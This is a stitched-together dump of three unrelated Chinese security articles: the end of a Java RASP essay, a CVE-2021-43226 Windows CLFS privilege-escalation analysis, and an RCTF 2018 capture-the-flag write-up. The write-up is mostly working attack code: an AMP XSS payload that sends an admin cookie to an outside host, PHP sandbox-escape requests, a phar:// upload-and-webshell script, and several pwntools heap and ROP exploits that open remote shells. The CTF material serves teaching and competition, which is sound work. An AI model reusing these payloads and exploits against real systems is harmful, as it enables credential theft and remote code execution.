对于甲方来说，我购置一套安全防护产品肯定是要能起到通用防护的作用的，肯定不会只针对Java购进一套Java RASP，这样做未免也太亏了。
对于乙方来说，每一种语言都有不同的特性，都要用不同的方式构建RASP，对于开发和安全研究人员来说工作量是相当之大的，强如OpenRASP团队目前也只是支持PHP和Java两个版本的。
这很大程度上也是影响到RASP推广的一个原因。看看传统的WAF、旁路流量监测等产品，它并不受语言的限制，只关心流量中是否存在具有威胁的流量就好，巧妙的减少了一个变量，从而加强了泛用性，无论什么样的环境都可以快速部署发挥作用，对于企业来说，肯定是更愿意购入WAF的。
##### 5.1.2 部署的通配适用性
由于开发人员所擅长的技能不同或不同项目组的技能树设定的不同，企业内部往往会存在使用各种各样框架实现的代码。而在代码部署上，如果没有一开始就制定严格的规范的话，部署环境也会存在各种各样的情况。就拿Java来说，企业内部可能存在Struts2写的、Spring写的、RichFaces写的等等...，同时这些应用可能部署在不同的中间件上：Tomcat、Weblogic、JBoss、Websphere等等...，不同的框架，不同的中间件部署方式都或多或少的有所不同，想要实现通配，真的不容易。
##### 5.1.3 规则的通用性
这一点其实已经被OpenRASP较好的解决了，统一利用js做规则，然后利用js引擎解析规则。所以这一点不多赘述。
#### 5.2 自身稳定性的问题
“安全产品首先要保证自己是安全的”，这句话说出来感觉是比较搞笑的，但是往往很多的安全产品其自身安全性就很差，只是仗着黑盒的不确定性才保持自己的神秘感罢了。对于RASP来说这句话更是需要严格奉行。因为RASP是将检测逻辑插入到hook点中的，只要到达了相应的hook点，检测逻辑是一定会被执行的，如果这个时候RASP实现的检测逻辑本身出现了问题，严重的话会导致整个业务崩溃，或直接被打穿。
##### 5.2.1 执行逻辑稳定性
就像上文所说的一样，如果在RASP所执行的逻辑中出现了严重的错误，将会直接将错误抛出在业务逻辑中，轻则当前业务中断，重则整个服务中断，这对于甲方来说就是严重的事故，甚至比服务器被攻击还严重。
简单来举个例子（当然在真实写RASP的时候不会这么写，这里只是展示严重性），如果在RASP的检测逻辑中存在`exit()`这样的利用，将直接导致程序退出：
这也就是为什么很多甲方并不喜欢RASP这种方式，因为归根到底，RASP还是将代码插入到业务执行流中，不出问题还好，出了问题就会影响业务。相比来说，WAF最多就是误封，但是并不会down掉业务，稳定性上是有一定保障的。
##### 5.2.2 自身安全稳定性
试想一个场景，如果RASP本身存在一定的漏洞，那是不是相当的可怕？即使原来的应用是没有明显的安全威胁的，但是在RASP处理过程中存在漏洞，而恰巧攻击者传入一个利用这样漏洞的payload，将直接在RASP处理流中完成触发。
举个实际的例子，比如在RASP中使用了受漏洞影响的FastJson库来处理相应的json数据，那么当攻击者在发送FastJson反序列化攻击payload的时候就会造成目标系统被RCE。
这其实并不是一个危言耸听的例子，OpenRASP在某版本使用的就是FastJson来处理json字符串，而当时的FastJson版本就是存在漏洞的版本。所以在最新的OpenRASP中，统一使用了较为安全的Gson来处理json字符串。
RASP的处理思路就决定了其与业务是联系非常紧密的，可以说就是业务的“一部分”，所以如果RASP自己的代码不规范不安全，最终将导致直接给业务写了一个漏洞。
##### 5.2.3 规则的稳定性
RASP的规则是需要经过专业的安全研究人员反复打磨并且根据业务来定制化的，需要尽量将所有的可能性都考虑进去，同时尽量的减少误报。但是由于规则贡献者水平的参差不齐，很容易导致规则遗漏，从而根本无法拦截相关的攻击，或产生大量的攻击误报。这样对于甲方来说无疑是一笔稳赔的买卖——花费大量时间进行部署，花费大量服务器资源来启用RASP，最终的安全效果却还是不尽如人意。
如果想要尽量的完善规则，只能更加贴近业务场景，针对不同的情况做不同的规则判别。所以说规则和业务场景是分不开的，对乙方来说不深入开发、不深入客户是很难做好安全产品的，如果只是停留在实验阶段，是永远没有办法向工程化和产品化转换的。
#### 5.3 部署复杂性的问题
在0x03以及0x04中不难看理想中最佳的Java
RASP实践方式是使用`agentmain`模式进行无侵入部署，但是受限于JVM进程保护机制没有办法对目标类添加新的方法，所以就会造成多次attach造成的重复字节码插入的问题。目前主流的Java
RASP推荐的部署方式都是利用`premain`模式进行部署，这就造成了必须停止相关业务，加入相应的启动参数，再开启服务这么一个复杂的过程。
对于甲方来说，重启一次业务完成部署RASP的代价是比较高的，所以都是不愿意采取这样的方案的。而且在甲方企业内部存在那么多的服务，一台台部署显然也是不现实的。目前所提出的自动化部署方案也受限于实际业务场景的复杂性，并不稳定。
### 0x06 总结
就目前来说RASP解决方案已经相对成熟，除非JDK出现新的特性，否则很难出现重大的革新。
目前各家RASP厂商主要都是针对性能及其他的辅助功能进行开发和优化，比如OpenRASP提出了用RASP构建SIEM以及实现被动扫描器的思路，这其实是一个非常好的思路，RASP配合被动扫描器能很方便的对企业内部的资产进行扫描，从而实现一定程度上的漏洞管控。
但是RASP不是万能的，并不能高效的防御所有的漏洞，其优劣势是非常明显的，应当正确的理解RASP本身的司职联合其他的防御措施构建完整的防御体系才能更好的做好安全防护。
个人认为RASP的最佳实践场所是甲方内部，甲方可以通过资产梳理对不同的系统进行相应的流量管控，这样RASP就能大大减少泛性检测所带来的的误报，同时更进一步的增加应用的安全性。
总体来说RASP是未来Web应用安全防护的方向，也同时是一个Web安全的发展趋势，其相较于传统安全防护产品的优势是不言而喻的，只要解决泛用性、稳定性、部署难等问题，可以说是目前能想出的一种较为理想方案了。
### 0x07 Reference
* <https://asm.ow2.io/asm4-guide.pdf>
* <https://github.com/anbai-inc/javaweb-expression>
* <https://github.com/Lucifaer/head_first_javarasp/tree/el_expression_hook>
* <https://zeroturnaround.com/software/jrebel/>
* <https://github.com/spring-projects/spring-loaded>
* <https://github.com/baidu/openrasp>
* <https://rasp.baidu.com/doc/>
* <http://www.fanyilun.me/2017/07/18/%e8%b0%88%e8%b0%88Java%20Intrumentation%e5%92%8c%e7%9b%b8%e5%85%b3%e5%ba%94%e7%94%a8/>
* * * | 社区文章 |
# CVE-2021-43226 漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
2021年12月15日，微软patch thuesday发布新补丁后，我们观察到Windows Common Log File System Driver
模块修复了一个Elevation of Privilege 类型的漏洞[https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43226，](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-43226%EF%BC%8C) 通过分析补丁目前已经写出了POC
## 补丁对比
通过对比补丁发现该模块有数个函数进行了修补，其中引起我们注意的函数为CClfsLogFcbVirtual::QueryLogFileInfo
通过逆向可以清楚的看到修补之后对参数指针a7保存的值进行了限制，如果其大于等于0x78,那么就会将其值修正为0x78，在下图中我们可以看到其中Src为[rsp+60h]，保存在堆栈里面
当_CLS_LOG_INFORMATION_CLASS为ClfsLogBasicInformationPhysical时，则会调用CClfsLogFcbPhysical::QueryLogFileInfo函数，该函数内部存在这样一条指令，假设a7中保存的值可以被控制，那么就能触发栈溢出，导致BSOD
## POC开发
参考微软Common Log File System相关的白皮书，我们可以找到该模块的相关API，其中api
GetLogFileInformation引起了我们的注意，其第二个参数pinfoBuffer结构体为[CLFS_INFORMATION](https://docs.microsoft.com/en-us/windows/desktop/api/clfs/ns-clfs-cls_information) ，其大小刚好为0x78
<https://docs.microsoft.com/en-us/previous-versions/windows/desktop/clfs/common-log-file-system-portal>
该函数的调用非常简单，我们可以通过参数2，和参数3控制内容，以及大小
//CLFS_INFORMATION pinfoBuffer = {};
//ULONG infoSize = sizeof(pinfoBuffer);
char pinfoBuffer[0x110] = {};
ULONG infoSize = 0x110;
DWORD dwRet = GetLogFileInformation(hLog, (PCLS_INFORMATION)&pinfoBuffer, &infoSize);
但是要想触发漏洞，我们还需要给一个Log File的句柄，可以通过[
**CreateLogFile**](https://docs.microsoft.com/en-us/windows/desktop/api/Clfsw32/nf-clfsw32-createlogfile)获取Log File的句柄
为了调用CClfsLogFcbVirtual::QueryLogFileInfo而不是CClfsLogFcbPhysical::QueryLogFileInfo，我们需要给Log
File一个StreamName
整体代码如下
## BSOD
## 关于我们
目前360沙箱云已可以实时检测此漏洞的利用行为。360沙箱云是 360
自主研发的在线高级威胁分析平台，对提交的文件、URL，经过静态检测、动态分析等多层次分析的流程，触发揭示漏洞利用、检测逃逸等行为，对检测样本进行恶意定性，弥补使用规则查杀的局限性，通过行为分析发现未知、高级威胁，形成高级威胁鉴定、0day
漏洞捕获、情报输出的解决方案；帮助安全管理员聚焦需关注的安全告警，过安全运营人员的分析后输出有价值的威胁情报，为企业形成专属的威胁情报生产能力，形成威胁管理闭环。解决当前政企用户安全管理困境及专业安全人员匮乏问题，沙箱云为用户提供持续跟踪微软已纰漏，但未公开漏洞利用代码的
1day，以及在野 0day 的能力。
沙箱云检测到漏洞利用场景：
沙箱云检测到漏洞触发信息：
360混天零实验室成立于2015年，负责高级威胁自动化检测项目和云沙箱技术研究，专注于通过自动化监测手段高效发现高级威胁攻击；依托于 360
安全大数据，多次发现和监测到在野漏洞利用、高级威胁攻击、大规模网络挂马等危害网络安全的攻击事件，多次率先捕获在野利用 0day
漏洞的网络攻击并获得厂商致谢，在野 0day 漏洞的发现能力处于国内外领先地位，为上亿用户上网安全提供安全能力保障。 | 社区文章 |
> Team：De1ta
## 0x00 Web
### **AMP**
由cookie提示flag在admin的cookie 应该是xss
post后会log
应该和amp标准有关 : <https://zh.wikipedia.org/zh-hans/Accelerated_Mobile_Pages>
AMP规范 : <https://www.ampproject.org/zh_cn/docs/fundamentals/spec>
猜测使用AMP特性绕过csp打到cookie
AMP获取cookies的方法：<https://github.com/ampproject/amphtml/blob/master/spec/amp-var-substitutions.md#client-id>
网页源码里有句注释：
payload:
<amp-pixel src="https://487a72b5.2m1.pw/?cid=CLIENT_ID(FLAG)"></amp-pixel>
<amp-user-notification
layout=nodisplay
id="FLAG"
data-show-if-href="https://487a72b5.2m1.pw"
data-dismiss-href="https://487a72b5.2m1.pw">
This site uses cookies to personalize content.
< a href="">Learn more.</ a>
<button on="tap:user-consent.dismiss">I accept</button>
</amp-user-notification>
<!-- Client ID is not provided until `user-consent` is dismissed -->
<amp-pixel src="https://487a72b5.2m1.pw/?cid=CLIENT_ID(FLAG,FLAG)"></amp-pixel>
url编码后在浏览器触发
flag: **RCTF{El_PsY_CONGRO0_sg0}**
### **r-cursive**
访问后在../sandbox/生成一个sha1文件夹，然后复制模板进去，提供了重定向到该文件夹和重置文件夹的功能
重定向后是个php沙箱，只能执行格式为`xxxx();`的函数
可以递归执行函数，不允许带参数
?cmd=print(readdir(opendir(getcwd()))); 可以列目录
?cmd=print(readfile(readdir(opendir(getcwd())))); 读文件
?cmd=print(dirname(dirname(getcwd()))); print出/var/www
翻阅文档找到`getallheaders()`函数，会返回所有的http请求头，因为header可控，所以可执行任意命令了
?cmd=print(implode(getallheaders()));
命令执行：
GET /?cmd=eval(implode(getallheaders())); HTTP/1.1
cmd: phpinfo(); //
Host: 39093088bf9a9d33d5dd5b973cc1232e2145ee49.sandbox.r-cursive.ml
接下来沙盒逃逸，从phpinfo看，这里是开了mod_vhost_alias
这里是利用auto_prepend来载入sandbox下的init.php来设置沙盒的open_basedir
所以这里通过修改host来逃逸沙盒的open_basedir。
1. 正常的open_basedir:
GET /?cmd=eval(implode(getallheaders())); HTTP/1.1
cmd: echo ini_get('open_basedir');//
Host: 39093088bf9a9d33d5dd5b973cc1232e2145ee49.sandbox.r-cursive.ml
Content-Length: 4
1. 把host头的39093088bf9a9d33d5dd5b973cc1232e2145ee49.sandbox去掉：
GET /?cmd=eval(implode(getallheaders())); HTTP/1.1
cmd: echo ini_get('open_basedir');//
Host: .r-cursive.ml
403是因为webroot没有index.php，正好说明已经逃逸出了沙盒
所以去访问39093088bf9a9d33d5dd5b973cc1232e2145ee49/index.php 即可调用命令
2. 借用39093088bf9a9d33d5dd5b973cc1232e2145ee49/index.php来执行命令：
GET /39093088bf9a9d33d5dd5b973cc1232e2145ee49/index.php?cmd=eval(implode(getallheaders())); HTTP/1.1
cmd: echo ini_get('open_basedir');//
Host: .r-cursive.ml
3. 拿到flag
GET /39093088bf9a9d33d5dd5b973cc1232e2145ee49/index.php?cmd=eval(implode(getallheaders())); HTTP/1.1
cmd: echo ini_get('open_basedir');$myfile=fopen('/var/www/sandbox/init.php','r');echo fread($myfile,9999);//
Host: .r-cursive.ml
### **backdoor**
题目的附件在RE 的complier
解压出来是一个archlinux的ISO,直接扔进vmware启动就行
/root文件夹下有helloworld.c和wallpaper.jpg两个文件，图片提取出来一个no_hint.txt：
用wireshark抓取虚拟机用gcc编译时的流量，发现会从<http://backdoor.2018.teamrois.cn/control.sh>
下载了一个bash脚本：
该脚本的主要工作为：
> 1.
> 检测是否有wireshark|tshark|idaq|strace|gdb|edb|lldb|lida|hopper|r2|radare2进程，如果有，就向[http://backdoor.2018.teamrois.cn/post.php?action=debugging&count=$debuggers发送“Oh](http://backdoor.2018.teamrois.cn/post.php?action=debugging&count=$debuggers发送“Oh),
> no! He's debugging! I'll kill them!!!!!!”，并杀死相关进程；
> 2. 执行head -c100000 /dev/urandom > /tmp/random.txt
> 命令，将/tmp/random.txt打包为zip并发送给<http://backdoor.2018.teamrois.cn/post.php?action=upload>
> 3. echo "Did you find the backdoor?" > ~/rctf-backdoor.txt
>
访问<http://backdoor.2018.teamrois.cn/>：
查看源代码，有一段aaencode
解码得到到
document.loginform.onsubmit = function (e) {
e.preventDefault()
document.getElementById('wp-submit').disabled = 'disabled'
setTimeout(function () {
document.getElementById('wp-submit').removeAttribute('disabled')
alert('Login failed')
"What? Need hint?"
"index.php is a hint!"
}, 3000)
}
意识到这个登陆页没啥用
在<http://backdoor.2018.teamrois.cn/post.php?action=upload>
寻找突破口，发现可以文件读取
读post.php源码
http://backdoor.2018.teamrois.cn/post.php?action=php://filter/read=convert.base64-encode/resource=post
post.php
<?php
error_reporting(0);
include $_GET['action'] . '.php';
读upload.php源码
<http://backdoor.2018.teamrois.cn/post.php?action=php://filter/read=convert.base64-encode/resource=upload>
upload.php
<?php
if (!isset($_FILES['file'])) exit;
$file = $_FILES['file'];
$zip = new ZipArchive();
if (true !== $zip->open($file['tmp_name'])) {
echo 'No a valid zip';
exit;
}
if (false === $zip->getFromName('tmp/random.txt')) {
echo 'No file';
exit;
}
$dest = 'uploads/' . md5($_SERVER['REMOTE_ADDR']) . hash('sha256', file_get_contents($file['tmp_name'])) . '.zip';
move_uploaded_file($file['tmp_name'], $dest);
echo 'Saved into ' . $dest;
post.php存在限制后缀的文件包含，可以通过phar://或者zip://协议绕过，从而包含恶意代码getshell，upload.php中限制了上传的文件要是个zip并且里面要有个random.txt文件。
我们在压缩包中再加入一个 evil.php 文件，当通过post.php 访问 action=phar://dest/evil 时，即访问
phar://dest/evil.php 注意 post.php 中的代码`include $_GET['action'] . '.php'`
最终构造exp如下，对应的压缩包tmp.zip已经作为附件上传。
exp.py:
import requests
s = "Saved into "
post_url = "http://backdoor.2018.teamrois.cn/post.php?action=upload"
zip_file = open("tmp.zip","rb")
upload_file = {'file':zip_file}
r = requests.post(post_url,files=upload_file)
dest = r.text[len(s):]
shell_url = "http://backdoor.2018.teamrois.cn/post.php?action=phar://"+ dest + "/evil"
print("[*] shell url: " + shell_url)
while True:
command = input("command: ")
payload = {'chybeta': 'system("%s");' % command}
r = requests.get(shell_url,params=payload)
print(r.text)
## 0x01 Misc
### **sign**
elf文件，binwalk一下有发现，binwalk提取出其中的png文件，是这样的：
提示wine
用wine运行getflag：
### **git**
给了个git文件夹，估计flag是藏在提交历史里，
getflag：
### **cats**
题目要求找出15个命令xxx，使得xxx food的输出结果等于cat food的输出结果
在本地docker测试可以免掉验证码
echo 'food'>yourCatFood
docker run -it --rm --network none -v /tmp/yourCatFood:/app/food:ro rctf_cats bash -c "timeout 5 diff -Z <(cat food) <(xxxx food)"
后来想到把food内容也设置为`food`，这样cat food就等于ls food等于echo
food了，用这种方法找出15个可用的命令，然后拿到flag
### **cats Rev.2**
在1的基础上
If you can find at least 4 out of 5 cats whose names in (python3, bash, php,
node, ruby), I will give you another flag ._.
看来就是命令绕过了，1中只用到了php
一开始陷入误区，打算用软链接来替换掉命令
如
import os
os.system("ln -s /bin/cat /usr/local/sbin/gg")
f=open('food','r')
data=f.read()
print(data)
提交python3,gg,.....
但是，后来发现应该是将所有cat的名字分别代入到
sudo docker run -it --rm --network none -v /tmp/yourCatFood:/app/food:ro
rctf_cats bash -c "timeout 5 diff -Z \<(cat food) \<(yourCatName food)"
所以，每个环境都是独立的，相互不影响，所以需要写一个脚本是（python3,bash,node,ruby）中3个运行输出与cat一样的（php只要不写”\<?php”，直接原样输出）。
跟cat一致，那就是读取文件内容并输出了。
python3
print(open('food').read());
ruby
print(open('food').read());
bash
cat food
node
fs=require('fs');
var data=fs.readFileSync('food','utf-8');
console.log(data);
接下来是考虑整合了。
通过解析的差异和适当的exit来整合。
echo cat food;
在bash下输出文件内容，在ruby、node下无输出
print(open('food').read());
ruby运行OK，node运行报函数未定义，so，定义下函数
function print(data){
fs=require('fs');
var data=fs.readFileSync('food','utf-8');
console.log(data);
}
function open(filename){return {read:function(){}}}
function exit(){}
所以，结合起来
本地测试的时候，node是要去掉后面的回车
echo cat food;
echo exit;
print(open('food').read());exit();
function print(data){
fs=require('fs');
var data=fs.readFileSync('food','utf-8');
console.log(data.slice(0,-1));
}
function open(filename){return {read:function(){}}}
function exit(){}
但是，答题那里不用去掉末尾的回车，要改成
echo cat food;
echo exit;
print(open('food').read());exit();
function print(data){
fs=require('fs');
var data=fs.readFileSync('food','utf-8');
console.log(data);
}
function open(filename){return {read:function(){}}}
function exit(){}
### **Number Game**
o **** o o **** o **__o** **o__** o **** o_ _/_
<| v\ /v v\ / \ / \ <| v
/ \ <\ /> <\ \o/ < >
\o/ o/ o/ | |
| **_ <| <| < > o**/_
| \ \ | |
<o> \o \ / o <o></o></o>
| v\ o o <| |
/ \ <\ <__ __/> / \ / \
In every round of the game, I'll choose some different numbers from the figure
interval. You are required to guess those numbers,ofc so does the order of
them.
On each surmise of yours, 2 numbers will be told as a hint for you, but you
need
to speculate the fuctions of these 2 figures. (XD
GLHF
================== round 1 ==================
Give me 4 numbers, in[0, 10), You can only try 6 times
<https://github.com/AustinGuo/GessNumber>
脚本可以生成每关结果，然后半自动玩游戏23333
### **520gift**
找出美妆博主：
flag： **RCTF{rbdlmlombrslj}**
## 0x02 Pwn
### **BabyHeap**
最基础的off by null
chunk overlap + fastbin attack 极限利用.....做起来很不舒服......
思路首先是利用off by null来chunk overlap ， chunk overlap之后利用fast bin
attack来get shell，基本上全是套路.........
from pwn import *
debug=0
e=ELF('./libc.so')
context.log_level='debug'
if debug:
p=process('./babyheap',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
gdb.attach(p)
else:
p=remote('babyheap.2018.teamrois.cn',3154)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def alloc(sz,content):
se('1\n')
ru('please input chunk size:')
se(str(sz)+'\n')
ru('input chunk content:')
se(content)
ru('choice:')
def show(idx):
se('2\n')
ru('please input chunk index:')
se(str(idx)+'\n')
ru('content: ')
data=ru('1. ')
ru('choice:')
return data
def delete(idx):
se('3\n')
ru('please input chunk index:')
se(str(idx)+'\n')
ru('choice:')
#-------------init---------------- alloc(0x48,'0\n')
alloc(0xf9,(p64(0x100)+p64(0x21))*0x10)
alloc(0xa8,'2'*8+p64(0x21)*10+'\n')
alloc(0x100,'3\n')
#-----------off by null------------- delete(1)
delete(0)
alloc(0x48,'a'*0x48)
#----------chunk overlap-------- alloc(0x88,'1\n')
alloc(0x68,'4\n')
delete(1)
delete(2)
#-----------leak libc---------------- alloc(0x88,'1\n')
libc=u64(show(4)[:6]+'\x00\x00')
base=libc-0x3C4B78
malloc_hook=base+e.symbols['__malloc_hook']
#-----------fast bin attack----------- delete(1)
alloc(0xa8,'a'*0x88+p64(0x71)+'\n')
delete(4)
delete(1)
alloc(0xa8,'a'*0x88+p64(0x71)+p64(malloc_hook-0x23)+'\n')
alloc(0x68,'t\n')
alloc(0x68,'a'*3+p64(base+0xf1147)*2+p64(base+0x846D0)+'\n')
print(hex(base))
print(hex(base+0x846D0))
p.interactive()
flag: **RCTF{Let_us_w4rm_up_with_a_e4sy_NU11_byte_overflow_lul_7adf58}**
### **simulator**
这是一个mips的指令模拟器，先输入mips的汇编代码，然后会解析成二进制，之后根据二进制来执行对应的操作，在主函数那里貌似有一个栈溢出，但是leak不出来cookie…….
基本操作有这些，syscall 只实现了一个，就是print int，感觉可以利用lw
和sw进行任意地址读写
然后将 ___stack_chk_fail 的got 写改成 ret 的地址，就可以用栈溢出随便玩了
漏洞点在这里，没有判断小于0的情况
li \$a0,1883262208
li \$a1,1883262209
add \$a0,\$a0,\$a1
lw \$a0,\$a0
li \$v0,1
syscall
END
利用这个payload可以打印got中某个地址的值
这里可以劫持控制流
li $a0,1883262209
li $a1,1883262210
add $a1,$a0,$a1
move $a0,$a1
lw $a0,$a0
li $v0,1
syscall
move $a0,$a1
li $v0,134523991
sw $v0,$a0
END
输完这个payload之后，就可以栈溢出
弄了半天ret2dlresolve，然后发现找libc快多了..........
下面是payload
from pwn import *
from hashlib import sha256
import itertools
import roputils
debug=0
context.log_level='debug'
rop=roputils.ROP('./simulator')
if debug:
p=process('simulator')
context.log_level='debug'
gdb.attach(p)
e=ELF('/lib/i386-linux-gnu/libc-2.24.so')
else:
p=remote('simulator.2018.teamrois.cn', 3131)
e=ELF('./libc.so')
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
s=string.letters+string.digits
if debug==0:
chal=p.recv(16)
for i in itertools.permutations(s,4):
sol=''.join(i)
if sha256(chal + sol).digest().startswith('\0\0\0'):
break
p.send(sol)
payload='''
li $a0,1883262209
li $a1,1883262210
add $a1,$a0,$a1
move $a0,$a1
lw $a0,$a0
li $v0,1
syscall
move $a0,$a1
li $v0,134523991
sw $v0,$a0
END
'''
se(payload)
puts=0x080485C0
main_addr=0x804AC23
bss_tmp=0x804DB20+0x100
pret=0x804B33B
tpayload='a'*44+p32(bss_tmp)+p32(puts)+p32(main_addr)+p32(0x0804D010)
ru('leave a comment: ')
se(tpayload+'\n')
printf=u32(p.recv(4))
base=printf-e.symbols['printf']
system=base+e.symbols['system']
binsh=base+e.search('/bin/sh').next()
rpayload='a'*48+p32(system)+p32(binsh)*2
se(rpayload+'\n')
p.interactive()
flag: **RCTF{5imu_s1mu_sinnu_siml_l_simulator!_7a3dac}**
### **RNote3**
漏洞在delete那里.....未初始化变量......看了栈溢出那里半天....难受
delete函数未初始化变量，所以可以delete 任意一块地方
具体是先view了某一个想delete的堆，然后堆地址保存在栈上，然后这个时候进delete函数，随便输一个东西，然后因为找不到对应的堆，然后
i 这个时候是31，但是free的是栈上面的那个变量，所以可以use after
free，之后一个fastbin attack过去就可以了
payload 如下
from pwn import *
debug=0
context.log_level='debug'
e=ELF('./libc.so')
if debug:
p=process('RNote3',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
gdb.attach(p)
else:
p=remote('rnote3.2018.teamrois.cn',7322)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def add(title,sz,content):
se('1\n')
ru('please input title:')
se(title)
ru('please input content size:')
se(str(sz)+'\n')
ru('please input content:')
se(content)
sleep(0.1)
def show(title):
se('2\n')
ru('please input note title: ')
se(title)
ru('note content: ')
sleep(0.1)
def edit(title,content):
se('3\n')
ru('please input note title:')
se(title)
ru('please input new content: ')
se(content)
sleep(0.1)
def delete(title):
se('4\n')
ru('please input note title: ')
se(title)
sleep(0.2)
add('1\n',0xa0,'a\n')
add('2\n',0xa0,'b\n')
show('1\n')
delete('a\n')
show('\n')
libc=u64(p.recv(6)+'\x00\x00')
base=libc-0x3C4B78
malloc_hook=base+e.symbols['__malloc_hook']
add('3\n',0xa0,'c\n')
add('4\n',0x68,'d\n')
add('5\n',0x68,'e\n')
show('4\n')
delete('a\n')
edit('\n',p64(malloc_hook-0x23)+'\n')
add('6\n',0x68,'f\n')
add('7\n',0x68,'a'*3+p64(base+0x4526a)*2+p64(base+0x846D0)+'\n')
se('1\n')
p.interactive()
flag: **RCTF{P1e4se_Be_C4refu1_W1th_Th3_P0inter_3c3d89}**
### **RNote4**
堆溢出，可以变成任意写...
然后改掉DT_STRTAB的值，改到bss段的一个地方，之后往上面放system，然后delete掉一个堆，这个时候会调用free，然后因为free是第一次被调用，会调用dl_resolve来找在libc中的地址
，因为改了DT_STRTAB，所以会找到sysytem，变成调用system(“/bin/sh”);，之后就get
shell了
from pwn import *
debug=0
context.log_level='debug'
if debug:
p=process('RNote4',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
gdb.attach(p)
else:
p=remote('rnote4.2018.teamrois.cn',6767)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def add(sz,content):
se('\x01')
se(chr(sz))
se(content)
def edit(idx,sz,content):
se('\x02')
se(chr(idx))
se(chr(sz))
se(content)
def delete(idx):
se('\x03')
se(chr(idx))
def write(addr,content):
payload='a'*0x18+p64(0x21)+p64(0x18)+p64(addr)
edit(0,len(payload),payload)
edit(1,len(content),content)
add(0x18,'a'*0x18)
add(0x18,'b'*0x18)
add(0x8,'/bin/sh\x00')
write(0x601EB0,p64(0x602100))
write(0x602100,'a'*0x5F+'system')
delete(2)
p.interactive()
flag: **RCTF{I_kn0w_h0w_dl_f1xup_w0rks_503f8c}**
### **stringer**
readstr 末尾不会强制+0
*(_BYTE *)(size - 1 + p) = 0;
根据size 来，可leak
calloc 会清空原来chunk上的内容,libc 2.23 设置 is_mmap bit 可以绕过
del 有 uaf
结合起来 构造 overlap + uaf
使用 edit 功能可以构造出来一个 overlap
有对齐。改最后一个 byte是不行的了，尝试第二个byte
almost
get it
思路
edit 修改 fastbin 的第二个byte 造成偏移
在偏移位置写一个 fake fastbin
libc 2.23 版本 calloc的时候如果 is_mmap bit 被设置了，不会清空
使用fake fastbin 修改一个 unsorted bin 的size 造成overlap
后面就是 leak 然后fastbin attack 的常规套路了
#coding:utf-8
from pwn import *
import sys
import time
file_addr='./stringer'
libc_addr='./libc.so.6'
host='stringer.2018.teamrois.cn'
port=7272
libc=ELF(‘./libc.so.6’)
p=remote(host,port)
malloc_hook_off=libc.symbols['__malloc_hook']
free_hook_off=libc.symbols['__free_hook']
unsorted_off=malloc_hook_off+88+0x10
fake_fastbin_malloc_hook=unsorted_off-88-0x13-0x20
def menu(op):
p.sendlineafter('choice:',str(op))
def newsome(num,con):
menu(1)
p.sendlineafter('length:',str(num))
p.sendlineafter('content:',con)
def showsome():
menu(2)
def editsome(index,byteindex):
menu(3)
p.sendlineafter('index:',str(index))
p.sendlineafter('index:',str(byteindex))
def delsome(index):
menu(4)
p.sendlineafter('index:',str(index))
newsome(0x28,'0'*(0x10-4)+p64(0x31))
newsome(0x100-0x20,'1'*0xc0+p64(0)+p64(0x33)+p64(0))
newsome(0x100,'2'*0x10)
newsome(0x60,'3'*0x10)
newsome(0x28,'4'*0x10)
delsome(0)
delsome(4)
editsome(4,1)
newsome(0x28,'5'*0x10)
#6
newsome(0x28,p64(0)*3+p64(0x181))
delsome(2)
delsome(3)
newsome(0x80,'7'*0x10)
newsome(0x90,'8'*0x70+p64(0)+p64(0x73))
delsome(8)
newsome(0x60,'9'*(0x20-1))
p.recvuntil('99999999\n')
leak=u64(p.recvline().strip().ljust(8,'\x00'))
libc_base=leak-unsorted_off
leaksome['leak']=leak
leaksome['libc_base']=libc_base
# overwrite 2 0x71
newsome(0x90,'a'*0x70+p64(0)+p64(0x71))
delsome(10)
delsome(9)
newsome(0x90,'b'*0x70+p64(0)+p64(0x71)+p64(libc_base+fake_fastbin_malloc_hook))
delsome(0xb)
newsome(0x60,'c'*0x10)
one_gadget=0xf02a4
newsome(0x60,'d'*3+p64(libc_base+one_gadget)*4)
menu(1)
p.sendline(str(0x90))
show_leak()
exp_bp('aaaaaaa')
p.interactive()
flag: **RCTF{Is_th1s_c1-1unk_m4pped?_df3ac9}**
## 0x03 RE
### **babyre**
out数据4字节一组, 流程sub_80488E0, 算法sub_804868B(部分参数不相关), 字符0x20-0x7F穷举就完事儿了.
#include <stdio.h>
#include <string.h>
#include <stdint.h>
uint32_t foo(uint32_t a1, uint64_t a2) // sub_804868B
{
int j;
uint64_t v5;
uint32_t in;
in = a1;
for (j = 0; j <= 527; ++j)
{
v5 = a2 >> (j & 0x1F);
if (j & 0x20)
v5 = v5 >> 32;
in = (in >> 1) ^ ((v5 ^ in ^ (in >> 16) ^ (0x5C743A2E >> (((in >> 1) & 1)
+ 2
* (2
* (((in >> 20) & 1)
+ 2
* (2 * ((in & 0x80000000) != 0)
+ ((in >> 26) & 1)))
+ ((in >> 9) & 1))))) << 31);
}
return in;
}
int main()
{
uint32_t data[30] = // out
{
0xB80C91FE,0x70573EFE,
0xBEED92AE,0x7F7A8193,
0x7390C17B,0x90347C6C,
0xAA7A15DF,0xAA7A15DF,
0x526BA076,0x153F1A32,
0x545C15AD,0x7D8AA463,
0x526BA076,0xFBCB7AA0,
0x7D8AA463,0x9C513266,
0x526BA076,0x6D7DF3E1,
0xAA7A15DF,0x9C513266,
0x1EDC3864,0x9323BC07,
0x7D8AA463,0xFBCB7AA0,
0x153F1A32,0x526BA076,
0xF5650025,0xAA7A15DF,
0x1EDC3864,0xB13AD888
};
int i;
uint32_t j;
for (i = 0; i < 30; i++)
for (j = 0x20; j < 0x7F; j++)
if (foo(j, 0x1D082C23A72BE4C1) == data[i])
printf("%c", j);
printf("\n");
return 0;
}
flag: **RCTF{Kee1o9_1s_a1ready_so1ved}**
### **simple vm**
p.bin是虚拟机字节码. 输入长32, 加密后与常量比较.
常量偏移+0x005,
hex1018431415474017101D4B121F49481853540157515305565A08585F0A0C5809.
输入偏移+0x111,
hex3031323334353637383941424344454630313233343536373839414243444546,
既"0123456789ABCDEF0123456789ABCDEF",
